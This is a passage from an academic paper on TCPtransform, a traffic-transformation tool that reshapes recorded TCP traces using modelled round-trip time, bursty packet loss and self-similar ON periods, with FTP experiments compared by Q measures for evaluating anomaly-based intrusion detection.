explain the implementation details about these components in the rest of this
section.

Flow Preprocessing. The Flow Preprocessing module is responsible for two
tasks. one is address remapping and the other is the initialization of traffic pa-
rameters. The address remapping includes the IP and MAC addresses to fit
in the testing environments. The traffic parameters are configured by process-
ing the configuration files from users. The TCPtransform users can decide the
traffic parameters according to his own knowledge or information given from
other TCP traffic analyzer tools. The traffic parameters include round-trip time
(RTT), transmission rate, packet loss rate, TCP receiver buffer size, path MTU,
and other parameters for the initiation of the TCP control block for each TCP
connection.

Flow Processing. The Flow Processing module is the key component of the
traffic transformation feature. This module tightly interacts with the TCP func-
tions library to emulate the TCP control block and the traffic models library to
shape the traffic patterns. The key feature of this module is the stateful transfor-
mation of TCP connections. Because of this stateful transformation, TCPtrans-
form can guarantee no ghost packet generation. This Flow processing module
interacts with the global event queue to emulate the various TCP functions.

Packet Handling. The Packet handling module is the base component that
helps reading the packets from the trace records and modifying the packet con-
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tents. If there is any modification in the packet, the checksum value is recal-
culated to make sure its content is still valid. The Packet handling module is
implemented using two public libraries: the libnet library, a high-level API to
construct and inject network packets [26], and the pcap library [27], one of most
widely used packet capturing utilities.

TCP Functions. The TCP functions library provides TCP functionalities
needed to emulate the TCP control block for each TCP connection. This library
includes most of TCP features related to TCP timers, timeout & retransmission,
fast retransmit & fast recovery, flow & congestion control, and RTT measure-
ment. The current implementation of the TCP functions library is heavily based
on the TCP implementation of BSD4.4-Lite release, described in [25]. The fol-
lowing list shows the implementation details about the TCP functions library.

– TCP timers: TCPtransform maintains seven TCP timers for each connec-
tions based on two TCP timer functions: one is called every 200ms (the fast
timer) and the other is called every 500ms (the slow timer). These TCP
timer events are precalculated during the Flow preprocessing, and inserted
the global event queue to be called periodically. While the delayed ACK
timer is implemented using the fast timer, other six timers are implemented
using the slow timer. Based on the TCP implementation in [25], we imple-
mented the six timers excluding the delayed ACK timers using four timer
counters that decrement the number of clock ticks whenever the slow timer
expires.

– Timeout & retransmission: Fundamental to TCP’s timeout and retrans-
mission is the measurement of RTT experienced on a given connection be-
cause the retransmission timer has values that depend on the measured
RTT for the connection. The retransmission timer is updated by measur-
ing RTT for data segments and keeping track of smoothed RTT estimator
and smoothed mean deviation estimator [28, 29]. If there is any outstanding
TCP data segment unacknowledged when the retransmission timer expires,
TCPtransform retransmits the data segment.

– Fast retransmit & fast recovery: In TCP, it is assumed that three or
more duplicate ACKs in a row is a strong indication of a packet loss. The
TCP sender then retransmits the missing segment without waiting for a
retransmission timer expires. Next, the congesting avoidance, but not slow
start is performed. This is called fast retransmit and fast recovery. TCP-
transform implements these two TCP features according to the modified
TCP congestion avoidance algorithms proposed in 1990 [30].

– Flow & congestion control: Congestion avoidance is the flow control im-
posed by the sender, while the advertised window is the flow control imposed
by the receiver. The former is based on the sender’s assessment of perceived
network congestion, and the latter is related to the amount of available buffer
space at the receiver for the connection. TCPtransform supports slow start
and congestion avoidance that are independent algorithms with different ob-
jectives. Congestion avoidance and slow start require that two variables for
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each connection: a congestion window (cwnd) and a slow start threshold size
(ssthresh). When the congestion is indicated by timeout or the reception of
duplicate ACKs, both variables are adjusted.

– RTT measurement: Since RTT measurement is fundamental to TCP’s
timeout and retransmission, the accuracy of the RTT measurement is im-
portant. As the most Berkeley-driven TCP implementation, TCPtransform
measures only one RTT value per connection at any time. The timing is
done by incrementing a counter every time according to the slow timer
(500ms tick). TCPtransform calculates the retransmission timeout (RTO)
by measuring RTT of data segments and keeping track of the smoothed
RTT estimator and a smoothed mean deviation estimator[28]. Besides the
retransmission timer, the persist timer also depends on the measured RTT
values.

3.3 Traffic Models

3-State Packet Loss Model. In general, the distribution of packet loss in the
Internet is bursty. Various packet loss models have been proposed to capture and
characterize the packet loss pattern (packet loss distribution). These include the
Gilbert model [15], the Gilbert-Elliot model [16], the Extended Gilbert model
(n-state Gilbert model) [17], various markov models [18, 19, 20, 22]. For TCP-
transform we use the 3-state packet loss model, which is the variance of 4-state
markov model proposed in [21]. The 4-state markov model is the result of com-
bining the 2-state model with a Gilbert-Elliott model to capture both very short
duration of consecutive loss events and longer lower density events. The reason
we modified the 4-state markov model was to remove one state that represents
packet lost within a gap. Figure 3 illustrates the 3-state packet loss model for
TCPtransform.

As its name suggests, the 3-state packet loss model consists of three states.
State 1 represents the non-lossy state, which means that a packet is received

State 1
Packet

received
successfully

Packet
lost within

a burst

State 2 State 3
Packet

received
within
a burst

Packet loss periodGap period

if n > N

p33p22

p23

p32

p12

if n > N

Fig. 3. 3-state packet loss model. n is the number of consecutive packet losses, N is
the burst size of packet losses. If n > N , the process is renewed to State 1
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successfully. State 2 & 3 represent packet loss state, but each one represent
little different state. If the current state is State 2, it implies that the packet
should be lost. If it is in State 3, the packet will be sent even if it is in the lossy
state. Whenever the number of consecutive packet losses, n, reaches the burst
size of packet losses, N , the process is renewed to State 1. The packet loss rate
in TCPtransform is applied to the transition probability p12, and the rest of
probabilities can be configured manually.

Another interesting matter in this model is how to decide the burst size of
packet losses to limit the number of consecutive packet losses. Boutremans, et
al [18] showed that consecutive packet losses are generally very short duration
events, but occasionally congestion and link failures can result in very long loss
sequences extending to tens of seconds. To model this burst packet loss pattern
we use the Pareto distribution. That is, the random variable N , representing the
burst size of packet losses, will have the property of the Pareto distribution.

Round-Trip Time. Besides the packet loss rate, the RTT (Round-Trip Time)
is an additional traffic property that can affect other properties such as packet
transmission rate, and session duration (usually for bulk data transmission).
RTT is tightly related to TCP functionalities in many aspects. For example, if we
implement timeout interval relatively short compared to RTT, it will cause many
unnecessary retransmissions. For TCPtransform, RTT is also used to produce
the silence period between the burst transmissions. After the TCP sender issues
a burst of packets at fast pace, the sender should wait for the acknowledgment
for this burst to transmit next burst. The length of this silent period is tightly
related to the RTT value.

On-Period Processing for Self-Similarity. Throughout the extensive stud-
ies in the last decade, it has been shown that the Internet traffic has the proper-
ties of self-similarity and long-range dependence (LRD) [10, 11, 13]. In general,
self-similarity describes the phenomenon where a certain property of an object
is preserved with respect to scaling in space and/or time [12]. In the network
traffic perspective, the self-similar traffic has the scale-invariant feature, meaning
that there are a certain level of resemblance across various time scales. Also, it
has shown that the self-similar network traffic can be generated by aggregating
multiple i.i.d. (independent, identical distributed) ON-OFF processes [13], where
ON and OFF periods are heavy-tailed and strictly alternating. The ON periods
represent the size of packet train, defined as the burst of consecutive packets,
while OFF periods represent the silent period between packet trains [14].

We say a random variable Z has a heavy-tailed distribution if

Pr[Z > x] ∼ cx−α, x →∞,

where 0 < α < 2, called the shape parameter, and c is a positive constant. In the
networking context, we are mainly interested in the case when 1 < α < 2. The
most frequently used form of heavy-tailed distribution is the Pareto distribution
whose distribution function is

Pr[Z ≤ x] = 1−
(

b

x

)α

, b ≤ x,
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where 0 < α < 2 and b is the location parameter (minimum value of x). The main
property of a heavy-tailed distribution is that it gives rise to very large values
with non-negligible probability. Thus, when we sample from such a distribution,
we observe a large portion of small values but few samples having very large
values. TCPtransform provides the self-similarity property to TCP flows through
the ON process which uses a Pareto distribution.

4 Experiment

The goal of this experiment is to demonstrate whether TCPtransform can re-
produce statistically equivalent TCP flows to those of the real traffic. In this
experiment, we test whether TCPtransform can reproduce FTP flows, which
has the characteristic of bulk data transfer. We believe that the results from
this experiment are easily applicable to any other applications which has simi-
lar characteristics to bulk data transfer. Throughout the experiment, we mainly
focus on two traffic parameters: the number of packet losses and session dura-
tion. First, the number of packet losses in TCPtransform-generated traffic tells
us how realistic the packet loss model compared to those of real traffic. Second,
the session duration is the combined result of many TCP-related functionalities
such as RTT, data sending rate, packet loss rate, ON-period packet train size,
and TCP flow/congestion control. These properties are tightly related to each
other, so the distribution of session duration will reflect the relationships among
these traffic parameters.

In addition, to examine statistical similarity between real traffic and trans-
formed traffic, we use Q measures. Q measures were previously used to build for
statistical comparisons between the short term profile and the long-term profile
in the NIDES/STAT anomaly detection algorithm [23]. Another way to say what
we are evaluating is whether, comparing against real traffic traces, TCPtrans-
form traces introduces significant anomalies. If the answer is NO, then, at least
in principle, we can claim that any anomaly detection systems based on the Q
measures can use TCPtransform as a tool and paradigm to train their long-term
profiles.

4.1 Q Measures

Originally, Q measures were based on a χ2-like test for comparing the similarity
between the short-term profile (subject’s current behavior) and long-term profile
(subject’s expected behavior). Let the subject’s current behavior be a random
variable under the sample space S. First we partition S into several bins which
are mutually exclusive. Let Yi and pi represent the number of occurrences and
probability of occurrences for bini. The random experiment is repeated N times
independently, where N is a large number. Thus, we have

∑k
i=1 pi = 1, where

pi = Yi

N . For the long-term profile establishment, we first determined the lower
and upper bounds, denoted as Slow, Sup of the sample space. The Slow was
set to the minimum value of all samples, which are either of the number of
packet reorderings (NPR) or session durations. We determined Sup in terms of
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Smean + 4 × Sst dev, where Smean and Sst dev are the mean and the standard
deviation of samples. Then, each sample was categorized into one of n bins
partitioned as follows:

b1 = [0,M1), b2 = [M1,M2), . . . , bn = [Mn−1,∞),

where Mi = Slow + (Sup − Slow) ∗ i
n .

To examine whether a short-term profile has a similar probability distribution
with the corresponding long-term profile, we test the following hypothesis:

H0 : p′i = pi, i = 1, 2, . . . k

H1 : H0 is not true

where p′i = Y ′
i /N ′ and p′i, Y ′

i , and N ′ associated with the short-term profile and
denote the same meaning of their counterparts in the long-term profile.

Now, we calculate Q values as follows:

Q =
k∑

i=1

(Y ′
i −N ′ × pi)2

N ′ × pi
.

Intuitively, Q value measures the closeness of the observed numbers to corre-
sponding expected numbers. A small Q favors the hypothesis H0, while a large
Q favors H1.

In our experiment, we replace the short-term profile with TCPtransform-
generated traffic and compare statistical similarity between real and TCPtrans-
form traffic based on Q measures. If the TCPtransform reproduces the FTP
flows statistically similar to the real one, we will have large number of small Q
values in this experiment.

4.2 Experiment Setup

As we mentioned earlier, our primary focus is on the FTP flow, which has the
characteristics of bulk data transfer. To collect real traffic, we selected three
public GNU FTP servers and launched tens of thousand FTP connections se-
quentially on each server. Each connection download the “ddd-3.3.8.tar.gz” file
whose file size is approximately 8.6 Mbytes. Our data collection program, run-
ning on our client systems, records the session duration, the number of packet
loss, and the position of packet loss on the sequence of received packets for each
connection. Table 1 provides general information about FTP servers involved in
this experiment.

One challenge in this experiment was how the client can detect the packet loss.
To solve this problem, we focused on the packet reordering events because it is
common to receive the reordered packet if it was previously lost and retransmit-
ted later 3. However, there is a confusion about considering the reordered packet

3 We define packet reordering the event that the packet with lower sequence number
is received later than the packet with higher sequence number.
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Table 1. General information for FTP servers

Location Host name (IP address)

Charlmers ftp.chl.charlmers.se(129.16.214.70)

NCTU ftp.nctu.deu.tw(140.113.27.181)

Berlin ftp.cs.tu.berlin.de(130.149.17.12)

as the sign of packet loss because the packet loss is not the only reason that
causes packet reordering. That is, if the packet (with lower sequence number)
that was sent earlier is delayed and received later than the packet (with higher
sequence number) sent later, the TCP receiver also observes packet reordering.
To separate packet reorderings caused by packet loss from those associated with
packet delay, we used the heuristic based on the idea that IP identification (IPID)
field uniquely identifies each datagram sent by a host and it normally increments
by one each time a datagram sent [24, 25]. Thus, if the reordered packet was lost
and retransmitted, its IPID value should be greater than that of a packet (with
higher sequence number) received earlier. On the other hand, if the reordered
packet was simply delayed, it should have less IPID value than another.

Reproducing FTP connections using TCPtransform corresponding to each
FTP server is executed through two phases. The first phase is to collect the
sequence packet header/payloads. For this phase, we directly connect our FTP
client to the server to avoid any interferences and download the same file from
the server. The TCPdump file recorded from this single FTP connection is used
as the base input file for the second phase. In the second phase, we tuned up
our property engine for each server, based on traffic properties observed during
collecting the real FTP connections. Then, we fed the base traffic file obtained
from the first phase into our property engine to reproduce FTP connections.
Whenever TCPtransform closes each FTP connection, it records three events
(session duration, the number of packet losses, and the position of lost packets).
Table 2 shows properties we used to reproduce FTP connections for each server.

Table 2. Traffic properties used in reproducing TCPtransform traffic

Server Berlin NCTU Charlmer

loss rate 0.00003 0.00002 0.00001

Loss burst shape 1.1 1.2 1.1

size (Pareto) min 1.0 1.8 1.7

ON period shape 1.1 1.1 1.1

size (Pareto) min 20.0 20.0 20.0

RTT (msec) stdev 9.161 14.881 0.977

4.3 Experiment Results and Analysis

First, we provide the distribution of NPR and SD measures for both real and
TCPtransform-generated traffic. Second, we statistically compare TCP-
transform-generated traffic to that of real traffic, based on Q distribution.
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Table 3. Comparison of number of NPR connections between real and TCPtransform-
generated FTP connections

Cons. NPR rate(%)

Berlin real 19993 4384 21.93

TCPtransform 20000 4103 20.52

NCTU real 13000 1480 11.38

TCPtransform 13000 1434 11.31

Charlmer real 16000 817 5.12

TCPtransform 16000 907 5.67

Number of Packet Reorderings (NPR). The purpose of this measure is to
verify the accuracy of the TCPtransform’s packet dropping module. During our
experiment, we observed that only a small number of connections experienced
NPR events for all FTP servers. Based on this observation, we set the packet
loss rate of TCPtransform relatively low as shown in Table 2. With this setting,
TCPtransform reproduced a very close number of FTP connections with NPR
for all servers. Table 3 shows the closeness between them according to the number
of connections with NPR.

To verify the similarity of NPR distributions between the real FTP con-
nections and TCPtransform-generated FTP connections, we plotted both NPR
distributions from each server in Figure 4. The NPR distribution from TCPtrans-
form traffic is almost identical to those from real traffic. In the case of the Berlin
server, approximately 20% of FTP connections experienced at least a packet loss
event, which was 2 times and 4 times more than NCTU and Charlmer servers
respectively, but more than 60% of NPR connections only has a single packet
loss. The packet dropping process of TCPtransform successfully reproduced the
packet loss patterns of the Berlin server as well as both NCTU and Charlmer
servers. In addition, from the NPR measures, we observed that the NPR dis-
tribution from each server have a certain level of heavy-tails. TCPtransform’s
3-state packet loss model reproduced this heavy-tailed packet loss pattern based
on the shape parameter and location parameter (minimum burst size) shown in
Table 2.

(a) Berlin (b) NCTU (c) Charlmer

Fig. 4. Comparison of NPR distribution between real and TCPtransform FTP con-
nections
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(a) Berlin (b) NCTU (c) Charlmer

Fig. 5. Comparison of NPR between real and TCPtransform FTP connections based
on Q distribution

Next, using the Q measures on NPR, we compare the statistical closeness
between the real FTP connections and TCPtransform FTP connections. Fig-
ure 5 shows the comparison results. During the experiment, we increased the
number of bins (nbins), used in long-term profiling, by one up to 5. In general, if
we increase nbins, then the Q distribution moves to the right (larger Q values).
If this movement is fast, it implies that TCPtransform traffic loses its statisti-
cal similarity to the real traffic fast from NPR’s viewpoint. Except the case of
nbins=5 in the Charlmer server, most Q distributions remained the statistically
similar when we increased nbins. More importantly, we can see that the maxi-
mum Q values (Qmax) are very small for all cases. For the NCTU server, all Q
values from nbins=5 falls below 10 (Qmax was 10.35 when nbins=5). The reason
why TCPtransform traffic differed in the case of nbins=5 in the Charlmer server
was due to the difference in NPR distributions (from 5 to 15) in Figure 4(c).
While the real NPR distribution has several small bursts of NPR events in this
range, the NPR distribution from TCPtransform has no bursts and is decreasing
smoothly.

Based on the comparison result from NPR distribution, we believe that TCP-
transform’s packet loss model reproduces a statistically similar packet loss pat-
tern to those from each server.

Session Duration (SD). SD was a challenging property to reproduce because
it is tightly related to other TCP traffic properties. Without a packet loss event,
both RTT and the packet train size of ON-period mainly affect SD values in
that RTT decides how fast the sender can move to the next packet transmission
round, and the packet train size of ON-period decides how many packets can be
sent during the current round. However, with a packet loss event, the problem
becomes more complicated because more TCP traffic properties will be involved
in deciding SD values. For instance, if a packet loss is detected by timeout or
3 duplicate acknowledgments at the sender side, the sender retransmits the lost
packet. In this case, how fast the sender can detect a packet loss affects SD.
Also, any retransmission requires the change of congestion window which limits
the sender’s packet transmission rate.

Figure 6 plots the result of SD comparison between the real FTP connec-
tions and TCPtransform-generated FTP connections. While the Berlin site in
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(a) Berlin (b) NCTU (c) Charlmer

Fig. 6. Comparison of SD distribution between real and TCPtransform FTP connec-
tions

(a) Berlin (b) NCTU (c) Charlmer

Fig. 7. Comparison of SD between real and TCPtransform FTP connections based on
Q distribution

Figure 6(a) showed good agreement between the real and TCPtransform traffic,
both the NCTU (Figure 6(b)) and Charlmer (Figure 6(c)) sites showed a slight
difference in SD distributions. For real traffic from NCTU, there is a large burst
in the range from 36 to 40 secs, but TCPtransform traffic smoothed this burst.
On the other hand, real traffic from Charlmer has two large burst at below 30
secs and between 35 and 39 secs, but TCPtransform traffic merges these two
bursts into one large burst between 34 and 40 secs. Since we generated RTT
values for TCPtransform execution based on the average and standard devia-
tion of observed RTT samples, the SD distribution from TCPtransform will have
more statistically equivalent shape to the random number distribution we used.
It seems that the SD distribution of the Charlmer site may be reproduced better
if we use two random processes for RTT generation with different parameters.

Despite the difference of the SD distribution in both NCTU and Charlmer
sites, the Q distribution of TCPtransform traffic for both sites showed good
performance in Figure 7(b), 7(c). We think that this result is from large mean
and standard deviations of SD samples from real traffic. The mean and standard
deviation for SD samples from NCTU were 40.405 and 13.073, while SD samples
from the Charlmer site has 36.760 and 7.024. In Q value calculations, large mean
and standard deviation values cause larger bin size in long-term profiling. Thus,
the difference in the SD distribution will be smoothed away with large bin size.
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For both sites, the Q distributions were also slightly moving to the right when
we increased nbins because of the characteristics of Q measures we explained
early.

Compared to both NCTU and Charlmer sites, TCPtransform traffic for the
Berlin site showed statistical difference from real traffic when nbins=5, whereas
it had very similar Q distribution when nbins=3 and 4 (see Figure 7(a)). This
is the result of splitting the large burst of SD samples from real traffic into two
bins. When nbins=5, the bin size, decided by the mean=32.62 and standard de-
viation=6.024, was 6.593. Thus, the burst between 32 and 36 in SD samples from
real traffic is split into the first and second bin. SD samples from TCPtransform
are also split, but the portion belongs to each bin was different from real SD
samples. Consequently, this difference caused the relatively long jump of the Q
distribution when nbins=5. However, note that the Qmax values are very small
for all sites. This implies that the statistical difference between SD samples from
real traffic and TCPtransform traffic is not noticeable.

5 Conclusion and Future ork

The record and replay approach such as TCPreplay has its limitation in preserv-
ing critical traffic properties because it does not consider any TCP’s dynamic
behaviors in between different traffic properties. Often, the traffic recorded from
a realistic network environment shows different traffic properties from the testing
environment where the target IDS system should be evaluated or deployed. Fur-
thermore, different traffic properties under the same data traffic are not isolated
because they are inter-related to each other. The packet loss event is an example
of this inter-relationship among different TCP properties. It affects TCP’s behav-
iors in many aspects such as flow/congestion control, timeout & retransmission,
or fast retransmission & recovery. Thus, without the right understanding about
the relationship among these traffic properties, any data traffic generated or
reproduced by any tool might be flawed.

In this paper, we introduced the property-oriented paradigm to reproduce
the trace records in terms of various traffic parameters. In the property-oriented
approach a traffic file is separated into the sequence of packets and the traf-
fic properties hidden among packets. Using these traffic properties, we can re-
produce statistically equivalent data traffic from different sequences of packets.
TCPtransform is a TCP traffic transform tool built on the property-oriented
paradigm. Its property engine extracts the properties from TCPdump files and
reproduces new traffic that matches those of the target environment. Also, it al-
lows users to manually change traffic properties. Our experimental results show
that TCPtransform can reproduce statistically similar data traffic to real traffic
that has the characteristics of bulk data transfer like FTP. Especially, TCPtrans-
form’s packet loss model showed the good performance by mostly generating
realistic packet loss events.

Although we are still far from being able to automatically produce long-term
profiles for anomaly detectors (we have only successfully got one application,

W
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FTP, to work) in practice, our initial results are reasonably encouraging toward
this ambitious direction. We believe that one very critical reason that slows
down the development of commercial anomaly detection systems is the difficulty
in practically and safely building long term profiles. From the promising results
of TCPtransform, we consider that the property-oriented paradigm might be a
good approach to resolve this challenging issue.

We have finished the first phase of TCPtransform development which aimed
to implement the fundamental TCP functionalities and support two traffic prop-
erties: RTT and packet loss event. Currently, we are planning the second phase
to extend the capabilities of TCPtransform to support more traffic/application
properties such as packet delay, jitter, and application-dependent behaviors.
While TCPtransform was design for intrusion detection systems, we have also
developed an interactive version of TCPtransform called TCPopera for so called
intrusion prevention systems. Also following the property-oriented paradigm like
TCPtransform, TCPopera interacts with the target system under evaluations
and handles special events outside of the original TCPdump files. For exam-
ple, in IPS evaluation, the IPS box in the middle might drop certain malicious
or anomalous packets based on its signatures or policy rules. Then, TCPopera
will detect that a packet in the original TCPdump file is missing and it will
invoke a response such as retransmission (or maybe some application-dependent
action) to adjust the TCP traffic properties consistently. In other words, TCP-
opera will detect external events and transform, in real-time, the rest of the
traces consistently with these new events. Currently, TCPopera can simultane-
ously play 2000+ active TCP connections in real-time, and we have successfully
used TCPopera to evaluate one commercial IPS box recently. And, the results
will be reported in a subsequent paper.
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